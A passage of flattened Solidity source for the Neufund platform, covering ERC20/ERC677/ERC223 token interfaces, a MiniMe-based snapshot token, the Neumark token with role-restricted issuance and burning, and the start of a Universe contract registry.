of the transfer /// @param to The destination of the transfer /// @param amount The amount of the transfer /// @return False if the controller does not authorize the transfer function mOnTransfer( address from, address to, uint256 amount ) internal returns (bool allow); } /// @title controls approvals and transfers /// @dev The token controller contract must implement these functions, see Neumark as example /// @dev please note that controller may be a separate contract that is called from mOnTransfer and mOnApprove functions contract MTokenController is MTokenTransferController, MTokenAllowanceController { } /// @title internal token transfer function /// @dev see BasicSnapshotToken for implementation contract MTokenTransfer { //////////////////////// // Internal functions //////////////////////// /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param from The address holding the tokens being transferred /// @param to The address of the recipient /// @param amount The amount of tokens to be transferred /// @dev reverts if transfer was not successful function mTransfer( address from, address to, uint256 amount ) internal; } contract IERC677Callback { //////////////////////// // Public functions //////////////////////// // NOTE: This call can be initiated by anyone. You need to make sure that // it is send by the token (`require(msg.sender == token)`) or make sure // amount is valid (`require(token.allowance(this) >= amount)`). function receiveApproval( address from, uint256 amount, address token, // IERC667Token bytes data ) public returns (bool success); } contract IERC677Allowance is IERC20Allowance { //////////////////////// // Public functions //////////////////////// /// @notice `msg.sender` approves `spender` to send `amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param spender The address of the contract able to transfer the tokens /// @param amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address spender, uint256 amount, bytes extraData) public returns (bool success); } contract IERC677Token is IERC20Token, IERC677Allowance { } /// @title token spending approval and transfer /// @dev implements token approval and transfers and exposes relevant part of ERC20 and ERC677 approveAndCall /// may be mixed in with any basic token (implementing mTransfer) like BasicSnapshotToken or MintableSnapshotToken to add approval mechanism /// observes MTokenAllowanceController interface /// observes MTokenTransfer contract TokenAllowance is MTokenTransfer, MTokenAllowanceController, IERC20Allowance, IERC677Token { //////////////////////// // Mutable state //////////////////////// // `allowed` tracks rights to spends others tokens as per ERC20 // owner => spender => amount mapping (address => mapping (address => uint256)) private _allowed; //////////////////////// // Constructor //////////////////////// constructor() internal { } //////////////////////// // Public functions //////////////////////// // // Implements IERC20Token // /// @dev This function makes it easy to read the `allowed[]` map /// @param owner The address of the account that owns the token /// @param spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address owner, address spender) public constant returns (uint256 remaining) { uint256 override = mAllowanceOverride(owner, spender); if (override > 0) { return override; } return _allowed[owner][spender]; } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// where allowance per spender must be 0 to allow change of such allowance /// @param spender The address of the account able to transfer the tokens /// @param amount The amount of tokens to be approved for transfer /// @return True or reverts, False is never returned function approve(address spender, uint256 amount) public returns (bool success) { // Alerts the token controller of the approve function call require(mOnApprove(msg.sender, spender, amount)); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0); _allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param from The address holding the tokens being transferred /// @param to The address of the recipient /// @param amount The amount of tokens to be transferred /// @return True if the transfer was successful, reverts in any other case function transferFrom(address from, address to, uint256 amount) public returns (bool success) { uint256 allowed = mAllowanceOverride(from, msg.sender); if (allowed == 0) { // The standard ERC 20 transferFrom functionality allowed = _allowed[from][msg.sender]; // yes this will underflow but then we'll revert. will cost gas however so don't underflow _allowed[from][msg.sender] -= amount; } require(allowed >= amount); mTransfer(from, to, amount); return true; } // // Implements IERC677Token // /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param spender The address of the contract able to transfer the tokens /// @param amount The amount of tokens to be approved for transfer /// @return True or reverts, False is never returned function approveAndCall( address spender, uint256 amount, bytes extraData ) public returns (bool success) { require(approve(spender, amount)); success = IERC677Callback(spender).receiveApproval( msg.sender, amount, this, extraData ); require(success); return true; } //////////////////////// // Internal functions //////////////////////// // // Implements default MTokenAllowanceController // // no override in default implementation function mAllowanceOverride( address /*owner*/, address /*spender*/ ) internal constant returns (uint256) { return 0; } } /// @title Reads and writes snapshots /// @dev Manages reading and writing a series of values, where each value has assigned a snapshot id for access to historical data /// @dev may be added to any contract to provide snapshotting mechanism. should be mixed in with any of MSnapshotPolicy implementations to customize snapshot creation mechanics /// observes MSnapshotPolicy /// based on MiniMe token contract Snapshot is MSnapshotPolicy { //////////////////////// // Types //////////////////////// /// @dev `Values` is the structure that attaches a snapshot id to a /// given value, the snapshot id attached is the one that last changed the /// value struct Values { // `snapshotId` is the snapshot id that the value was generated at uint256 snapshotId; // `value` at a specific snapshot id uint256 value; } //////////////////////// // Internal functions //////////////////////// function hasValue( Values[] storage values ) internal constant returns (bool) { return values.length > 0; } /// @dev makes sure that 'snapshotId' between current snapshot id (mCurrentSnapshotId) and first snapshot id. this guarantees that getValueAt returns value from one of the snapshots. function hasValueAt( Values[] storage values, uint256 snapshotId ) internal constant returns (bool) { require(snapshotId <= mCurrentSnapshotId()); return values.length > 0 && values[0].snapshotId <= snapshotId; } /// gets last value in the series function getValue( Values[] storage values, uint256 defaultValue ) internal constant returns (uint256) { if (values.length == 0) { return defaultValue; } else { uint256 last = values.length - 1; return values[last].value; } } /// @dev `getValueAt` retrieves value at a given snapshot id /// @param values The series of values being queried /// @param snapshotId Snapshot id to retrieve the value at /// @return Value in series being queried function getValueAt( Values[] storage values, uint256 snapshotId, uint256 defaultValue ) internal constant returns (uint256) { require(snapshotId <= mCurrentSnapshotId()); // Empty value if (values.length == 0) { return defaultValue; } // Shortcut for the out of bounds snapshots uint256 last = values.length - 1; uint256 lastSnapshot = values[last].snapshotId; if (snapshotId >= lastSnapshot) { return values[last].value; } uint256 firstSnapshot = values[0].snapshotId; if (snapshotId < firstSnapshot) { return defaultValue; } // Binary search of the value in the array uint256 min = 0; uint256 max = last; while (max > min) { uint256 mid = (max + min + 1) / 2; // must always return lower indice for approximate searches if (values[mid].snapshotId <= snapshotId) { min = mid; } else { max = mid - 1; } } return values[min].value; } /// @dev `setValue` used to update sequence at next snapshot /// @param values The sequence being updated /// @param value The new last value of sequence function setValue( Values[] storage values, uint256 value ) internal { // TODO: simplify or break into smaller functions uint256 currentSnapshotId = mAdvanceSnapshotId(); // Always create a new entry if there currently is no value bool empty = values.length == 0; if (empty) { // Create a new entry values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); return; } uint256 last = values.length - 1; bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId; if (hasNewSnapshot) { // Do nothing if the value was not modified bool unmodified = values[last].value == value; if (unmodified) { return; } // Create new entry values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); } else { // We are updating the currentSnapshotId bool previousUnmodified = last > 0 && values[last - 1].value == value; if (previousUnmodified) { // Remove current snapshot if current value was set to previous value delete values[last]; values.length--; return; } // Overwrite next snapshot entry values[last].value = value; } } } /// @title access to snapshots of a token /// @notice allows to implement complex token holder rights like revenue disbursal or voting /// @notice snapshots are series of values with assigned ids. ids increase strictly. particular id mechanism is not assumed contract ITokenSnapshots { //////////////////////// // Public functions //////////////////////// /// @notice Total amount of tokens at a specific `snapshotId`. /// @param snapshotId of snapshot at which totalSupply is queried /// @return The total amount of tokens at `snapshotId` /// @dev reverts on snapshotIds greater than currentSnapshotId() /// @dev returns 0 for snapshotIds less than snapshotId of first value function totalSupplyAt(uint256 snapshotId) public constant returns(uint256); /// @dev Queries the balance of `owner` at a specific `snapshotId` /// @param owner The address from which the balance will be retrieved /// @param snapshotId of snapshot at which the balance is queried /// @return The balance at `snapshotId` function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256); /// @notice upper bound of series of snapshotIds for which there's a value in series /// @return snapshotId function currentSnapshotId() public constant returns (uint256); } /// @title represents link between cloned and parent token /// @dev when token is clone from other token, initial balances of the cloned token /// correspond to balances of parent token at the moment of parent snapshot id specified /// @notice please note that other tokens beside snapshot token may be cloned contract IClonedTokenParent is ITokenSnapshots { //////////////////////// // Public functions //////////////////////// /// @return address of parent token, address(0) if root /// @dev parent token does not need to clonable, nor snapshottable, just a normal token function parentToken() public constant returns(IClonedTokenParent parent); /// @return snapshot at wchich initial token distribution was taken function parentSnapshotId() public constant returns(uint256 snapshotId); } /// @title token with snapshots and transfer functionality /// @dev observes MTokenTransferController interface /// observes ISnapshotToken interface /// implementes MTokenTransfer interface contract BasicSnapshotToken is MTokenTransfer, MTokenTransferController, IClonedTokenParent, IBasicToken, Snapshot { //////////////////////// // Immutable state //////////////////////// // `PARENT_TOKEN` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned IClonedTokenParent private PARENT_TOKEN; // `PARENT_SNAPSHOT_ID` is the snapshot id from the Parent Token that was // used to determine the initial distribution of the cloned token uint256 private PARENT_SNAPSHOT_ID; //////////////////////// // Mutable state //////////////////////// // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the snapshot id that the change // occurred is also included in the map mapping (address => Values[]) internal _balances; // Tracks the history of the `totalSupply` of the token Values[] internal _totalSupplyValues; //////////////////////// // Constructor //////////////////////// /// @notice Constructor to create snapshot token /// @param parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param parentSnapshotId at which snapshot id clone was created, set to 0 to clone at upper bound /// @dev please not that as long as cloned token does not overwrite value at current snapshot id, it will refer /// to parent token at which this snapshot still may change until snapshot id increases. for that time tokens are coupled /// this is prevented by parentSnapshotId value of parentToken.currentSnapshotId() - 1 being the maxiumum /// see SnapshotToken.js test to learn consequences coupling has. constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) Snapshot() internal { PARENT_TOKEN = parentToken; if (parentToken == address(0)) { require(parentSnapshotId == 0); } else { if (parentSnapshotId == 0) { require(parentToken.currentSnapshotId() > 0); PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1; } else { PARENT_SNAPSHOT_ID = parentSnapshotId; } } } //////////////////////// // Public functions //////////////////////// // // Implements IBasicToken // /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint256) { return totalSupplyAtInternal(mCurrentSnapshotId()); } /// @param owner The address that's balance is being requested /// @return The balance of `owner` at the current block function balanceOf(address owner) public constant returns (uint256 balance) { return balanceOfAtInternal(owner, mCurrentSnapshotId()); } /// @notice Send `amount` tokens to `to` from `msg.sender` /// @param to The address of the recipient /// @param amount The amount of tokens to be transferred /// @return True if the transfer was successful, reverts in any other case function transfer(address to, uint256 amount) public returns (bool success) { mTransfer(msg.sender, to, amount); return true; } // // Implements ITokenSnapshots // function totalSupplyAt(uint256 snapshotId) public constant returns(uint256) { return totalSupplyAtInternal(snapshotId); } function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256) { return balanceOfAtInternal(owner, snapshotId); } function currentSnapshotId() public constant returns (uint256) { return mCurrentSnapshotId(); } // // Implements IClonedTokenParent // function parentToken() public constant returns(IClonedTokenParent parent) { return PARENT_TOKEN; } /// @return snapshot at wchich initial token distribution was taken function parentSnapshotId() public constant returns(uint256 snapshotId) { return PARENT_SNAPSHOT_ID; } // // Other public functions // /// @notice gets all token balances of 'owner' /// @dev intended to be called via eth_call where gas limit is not an issue function allBalancesOf(address owner) external constant returns (uint256[2][]) { /* very nice and working implementation below, // copy to memory Values[] memory values = _balances[owner]; do assembly { // in memory structs have simple layout where every item occupies uint256 balances := values } while (false);*/ Values[] storage values = _balances[owner]; uint256[2][] memory balances = new uint256[2][](values.length); for(uint256 ii = 0; ii < values.length; ++ii) { balances[ii] = [values[ii].snapshotId, values[ii].value]; } return balances; } //////////////////////// // Internal functions //////////////////////// function totalSupplyAtInternal(uint256 snapshotId) internal constant returns(uint256) { Values[] storage values = _totalSupplyValues; // If there is a value, return it, reverts if value is in the future if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } // Try parent contract at or before the fork if (address(PARENT_TOKEN) != 0) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId); } // Default to an empty balance return 0; } // get balance at snapshot if with continuation in parent token function balanceOfAtInternal(address owner, uint256 snapshotId) internal constant returns (uint256) { Values[] storage values = _balances[owner]; // If there is a value, return it, reverts if value is in the future if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } // Try parent contract at or before the fork if (PARENT_TOKEN != address(0)) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId); } // Default to an empty balance return 0; } // // Implements MTokenTransfer // /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param from The address holding the tokens being transferred /// @param to The address of the recipient /// @param amount The amount of tokens to be transferred /// @return True if the transfer was successful, reverts in any other case function mTransfer( address from, address to, uint256 amount ) internal { // never send to address 0 require(to != address(0)); // block transfers in clone that points to future/current snapshots of parent token require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); // Alerts the token controller of the transfer require(mOnTransfer(from, to, amount)); // If the amount being transfered is more than the balance of the // account the transfer reverts uint256 previousBalanceFrom = balanceOf(from); require(previousBalanceFrom >= amount); // First update the balance array with the new value for the address // sending the tokens uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_balances[from], newBalanceFrom); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOf(to); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); // Check for overflow setValue(_balances[to], newBalanceTo); // An event to make the transfer easy to find on the blockchain emit Transfer(from, to, amount); } } /// @title token generation and destruction /// @dev internal interface providing token generation and destruction, see MintableSnapshotToken for implementation contract MTokenMint { //////////////////////// // Internal functions //////////////////////// /// @notice Generates `amount` tokens that are assigned to `owner` /// @param owner The address that will be assigned the new tokens /// @param amount The quantity of tokens generated /// @dev reverts if tokens could not be generated function mGenerateTokens(address owner, uint256 amount) internal; /// @notice Burns `amount` tokens from `owner` /// @param owner The address that will lose the tokens /// @param amount The quantity of tokens to burn /// @dev reverts if tokens could not be destroyed function mDestroyTokens(address owner, uint256 amount) internal; } /// @title basic snapshot token with facitilites to generate and destroy tokens /// @dev implementes MTokenMint, does not expose any public functions that create/destroy tokens contract MintableSnapshotToken is BasicSnapshotToken, MTokenMint { //////////////////////// // Constructor //////////////////////// /// @notice Constructor to create a MintableSnapshotToken /// @param parentToken Address of the parent token, set to 0x0 if it is a /// new token constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) BasicSnapshotToken(parentToken, parentSnapshotId) internal {} /// @notice Generates `amount` tokens that are assigned to `owner` /// @param owner The address that will be assigned the new tokens /// @param amount The quantity of tokens generated function mGenerateTokens(address owner, uint256 amount) internal { // never create for address 0 require(owner != address(0)); // block changes in clone that points to future/current snapshots of patent token require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); uint256 newTotalSupply = curTotalSupply + amount; require(newTotalSupply >= curTotalSupply); // Check for overflow uint256 previousBalanceTo = balanceOf(owner); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); // Check for overflow setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceTo); emit Transfer(0, owner, amount); } /// @notice Burns `amount` tokens from `owner` /// @param owner The address that will lose the tokens /// @param amount The quantity of tokens to burn function mDestroyTokens(address owner, uint256 amount) internal { // block changes in clone that points to future/current snapshots of patent token require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); require(curTotalSupply >= amount); uint256 previousBalanceFrom = balanceOf(owner); require(previousBalanceFrom >= amount); uint256 newTotalSupply = curTotalSupply - amount; uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceFrom); emit Transfer(owner, 0, amount); } } /* Copyright 2016, Jordi Baylina Copyright 2017, Remco Bloemen, Marcin Rudolf This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title StandardSnapshotToken Contract /// @author Jordi Baylina, Remco Bloemen, Marcin Rudolf /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. /// @dev Various contracts are composed to provide required functionality of this token, different compositions are possible /// MintableSnapshotToken provides transfer, miniting and snapshotting functions /// TokenAllowance provides approve/transferFrom functions /// TokenMetadata adds name, symbol and other token metadata /// @dev This token is still abstract, Snapshot, BasicSnapshotToken and TokenAllowance observe interfaces that must be implemented /// MSnapshotPolicy - particular snapshot id creation mechanism /// MTokenController - controlls approvals and transfers /// see Neumark as an example /// @dev implements ERC223 token transfer contract StandardSnapshotToken is MintableSnapshotToken, TokenAllowance { //////////////////////// // Constructor //////////////////////// /// @notice Constructor to create a MiniMeToken /// is a new token /// param tokenName Name of the new token /// param decimalUnits Number of decimals of the new token /// param tokenSymbol Token Symbol for the new token constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) MintableSnapshotToken(parentToken, parentSnapshotId) TokenAllowance() internal {} } /// @title old ERC223 callback function /// @dev as used in Neumark and ICBMEtherToken contract IERC223LegacyCallback { //////////////////////// // Public functions //////////////////////// function onTokenTransfer(address from, uint256 amount, bytes data) public; } contract IERC223Token is IERC20Token, ITokenMetadata { /// @dev Departure: We do not log data, it has no advantage over a standard /// log event. By sticking to the standard log event we /// stay compatible with constracts that expect and ERC20 token. // event Transfer( // address indexed from, // address indexed to, // uint256 amount, // bytes data); /// @dev Departure: We do not use the callback on regular transfer calls to /// stay compatible with constracts that expect and ERC20 token. // function transfer(address to, uint256 amount) // public // returns (bool); //////////////////////// // Public functions //////////////////////// function transfer(address to, uint256 amount, bytes data) public returns (bool); } contract Neumark is AccessControlled, AccessRoles, Agreement, DailyAndSnapshotable, StandardSnapshotToken, TokenMetadata, IERC223Token, NeumarkIssuanceCurve, Reclaimable, IsContract { //////////////////////// // Constants //////////////////////// string private constant TOKEN_NAME = "Neumark"; uint8 private constant TOKEN_DECIMALS = 18; string private constant TOKEN_SYMBOL = "NEU"; string private constant VERSION = "NMK_1.0"; //////////////////////// // Mutable state //////////////////////// // disable transfers when Neumark is created bool private _transferEnabled = false; // at which point on curve new Neumarks will be created, see NeumarkIssuanceCurve contract // do not use to get total invested funds. see burn(). this is just a cache for expensive inverse function uint256 private _totalEurUlps; //////////////////////// // Events //////////////////////// event LogNeumarksIssued( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); event LogNeumarksBurned( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); //////////////////////// // Constructor //////////////////////// constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) AccessRoles() Agreement(accessPolicy, forkArbiter) StandardSnapshotToken( IClonedTokenParent(0x0), 0 ) TokenMetadata( TOKEN_NAME, TOKEN_DECIMALS, TOKEN_SYMBOL, VERSION ) DailyAndSnapshotable(0) NeumarkIssuanceCurve() Reclaimable() public {} //////////////////////// // Public functions //////////////////////// /// @notice issues new Neumarks to msg.sender with reward at current curve position /// moves curve position by euroUlps /// callable only by ROLE_NEUMARK_ISSUER function issueForEuro(uint256 euroUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(msg.sender) returns (uint256) { require(_totalEurUlps + euroUlps >= _totalEurUlps); uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps); _totalEurUlps += euroUlps; mGenerateTokens(msg.sender, neumarkUlps); emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps); return neumarkUlps; } /// @notice used by ROLE_NEUMARK_ISSUER to transer newly issued neumarks /// typically to the investor and platform operator function distribute(address to, uint256 neumarkUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(to) { mTransfer(msg.sender, to, neumarkUlps); } /// @notice msg.sender can burn their Neumarks, curve is rolled back using inverse /// curve. as a result cost of Neumark gets lower (reward is higher) function burn(uint256 neumarkUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, 0, _totalEurUlps); } /// @notice executes as function above but allows to provide search range for low gas burning function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, minEurUlps, maxEurUlps); } function enableTransfer(bool enabled) public only(ROLE_TRANSFER_ADMIN) { _transferEnabled = enabled; } function createSnapshot() public only(ROLE_SNAPSHOT_CREATOR) returns (uint256) { return DailyAndSnapshotable.createSnapshot(); } function transferEnabled() public constant returns (bool) { return _transferEnabled; } function totalEuroUlps() public constant returns (uint256) { return _totalEurUlps; } function incremental(uint256 euroUlps) public constant returns (uint256 neumarkUlps) { return incremental(_totalEurUlps, euroUlps); } // // Implements IERC223Token with IERC223Callback (onTokenTransfer) callback // // old implementation of ERC223 that was actual when ICBM was deployed // as Neumark is already deployed this function keeps old behavior for testing function transfer(address to, uint256 amount, bytes data) public returns (bool) { // it is necessary to point out implementation to be called BasicSnapshotToken.mTransfer(msg.sender, to, amount); // Notify the receiving contract. if (isContract(to)) { IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data); } return true; } //////////////////////// // Internal functions //////////////////////// // // Implements MTokenController // function mOnTransfer( address from, address, // to uint256 // amount ) internal acceptAgreement(from) returns (bool allow) { // must have transfer enabled or msg.sender is Neumark issuer return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig); } function mOnApprove( address owner, address, // spender, uint256 // amount ) internal acceptAgreement(owner) returns (bool allow) { return true; } //////////////////////// // Private functions //////////////////////// function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) private { uint256 prevEuroUlps = _totalEurUlps; // burn first in the token to make sure balance/totalSupply is not crossed mDestroyTokens(msg.sender, burnNeumarkUlps); _totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps); // actually may overflow on non-monotonic inverse assert(prevEuroUlps >= _totalEurUlps); uint256 euroUlps = prevEuroUlps - _totalEurUlps; emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps); } } /// @title uniquely identifies deployable (non-abstract) platform contract /// @notice cheap way of assigning implementations to knownInterfaces which represent system services /// unfortunatelly ERC165 does not include full public interface (ABI) and does not provide way to list implemented interfaces /// EIP820 still in the making /// @dev ids are generated as follows keccak256("neufund-platform:<contract name>") /// ids roughly correspond to ABIs contract IContractId { /// @param id defined as above /// @param version implementation version function contractId() public pure returns (bytes32 id, uint256 version); } /// @title current ERC223 fallback function /// @dev to be used in all future token contract /// @dev NEU and ICBMEtherToken (obsolete) are the only contracts that still uses IERC223LegacyCallback contract IERC223Callback { //////////////////////// // Public functions //////////////////////// function tokenFallback(address from, uint256 amount, bytes data) public; } /// @title disburse payment token amount to snapshot token holders /// @dev payment token received via ERC223 Transfer contract IFeeDisbursal is IERC223Callback { // TODO: declare interface } /// @title disburse payment token amount to snapshot token holders /// @dev payment token received via ERC223 Transfer contract IPlatformPortfolio is IERC223Callback { // TODO: declare interface } contract ITokenExchangeRateOracle { /// @notice provides actual price of 'numeratorToken' in 'denominatorToken' /// returns timestamp at which price was obtained in oracle function getExchangeRate(address numeratorToken, address denominatorToken) public constant returns (uint256 rateFraction, uint256 timestamp); /// @notice allows to retreive multiple exchange rates in once call function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens) public constant returns (uint256[] rateFractions, uint256[] timestamps); } /// @title root of trust and singletons + known interface registry /// provides a root which holds all interfaces platform trust, this includes /// singletons - for which accessors are provided /// collections of known instances of interfaces /// @dev interfaces are identified by bytes4, see KnownInterfaces.sol contract Universe is Agreement, IContractId, KnownInterfaces { //////////////////////// // Events //////////////////////// /// raised on any change of singleton instance /// @dev for convenience we provide previous instance of singleton in replacedInstance event LogSetSingleton( bytes4 interfaceId, address instance, address replacedInstance ); /// raised on add/remove interface instance in collection event LogSetCollectionInterface( bytes4 interfaceId, address instance, bool isSet ); //////////////////////// // Mutable state //////////////////////// // mapping of known contracts to addresses of singletons mapping(bytes4 => address) private _singletons; // mapping of known interfaces to collections of contracts mapping(bytes4 => mapping(address => bool)) private _collections; // solium-disable-line indentation // known instances mapping(address => bytes4[]) private _instances; //////////////////////// // Constructor //////////////////////// constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) Agreement(accessPolicy, forkArbiter) public { setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy); setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter); } //////////////////////// // Public methods //////////////////////// /// get singleton instance for 'interfaceId' function getSingleton(bytes4 interfaceId) public constant returns (address) { return _singletons[interfaceId]; } function getManySingletons(bytes4[] interfaceIds) public constant returns (address[]) { address[] memory addresses = new address[](interfaceIds.length); uint256 idx; while(idx < interfaceIds.length) { addresses[idx] = _singletons[interfaceIds[idx]]; idx += 1; } return addresses; } /// checks of 'instance' is instance of interface 'interfaceId' function isSingleton(bytes4 interfaceId, address instance) public constant returns (bool) { return _singletons[interfaceId] == instance; } /// checks if 'instance' is one of instances of 'interfaceId' function isInterfaceCollectionInstance(bytes4 interfaceId, address instance) public constant returns (bool) { return _collections[interfaceId][instance]; } function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance) public constant returns (bool) { uint256 idx; while(idx < interfaceIds.length) { if (_collections[interfaceIds[idx]][instance]) { return true; } idx += 1; } return false; } /// gets all interfaces of given instance function getInterfacesOfInstance(address instance) public constant returns (bytes4[] interfaces) { return _instances[instance]; } /// sets 'instance' of singleton with interface 'interfaceId' function setSingleton(bytes4 interfaceId, address instance) public only(ROLE_UNIVERSE_MANAGER) { setSingletonPrivate(interfaceId, instance); } /// convenience method for setting many singleton instances function setManySingletons(bytes4[] interfaceIds, address[] instances) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); uint256 idx; while(idx < interfaceIds.length) { setSingletonPrivate(interfaceIds[idx], instances[idx]); idx += 1; } } /// set or unset 'instance' with 'interfaceId' in collection of instances function setCollectionInterface(bytes4 interfaceId, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { setCollectionPrivate(interfaceId, instance, set); } /// set or unset 'instance' in many collections of instances function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instance, set); idx += 1; } } /// set or unset array of collection function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); require(interfaceIds.length == set_flags.length); uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]); idx += 1; } } // // Implements IContractId // function contractId() public pure returns (bytes32 id, uint256 version) { return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0); } //////////////////////// // Getters //////////////////////// function accessPolicy() public constant returns (IAccessPolicy) { return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]); } function forkArbiter() public constant returns (IEthereumForkArbiter) { return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]); } function neumark() public constant returns (Neumark) { return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]); } function etherToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]); } function euroToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]); } function etherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ETHER_LOCK]; } function euroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_EURO_LOCK]; } function icbmEtherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK]; } function icbmEuroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK]; } function identityRegistry() public constant returns (address) { return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]); } function tokenExchangeRateOracle() public constant returns (address) { return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]); } function feeDisbursal() public constant returns (address) { return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]); } function platformPortfolio() public constant returns (address) { return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]); } function tokenExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE]; } function gasExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE]; } function platformTerms() public constant returns (address) { return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS]; } //////////////////////// // Private methods //////////////////////// function 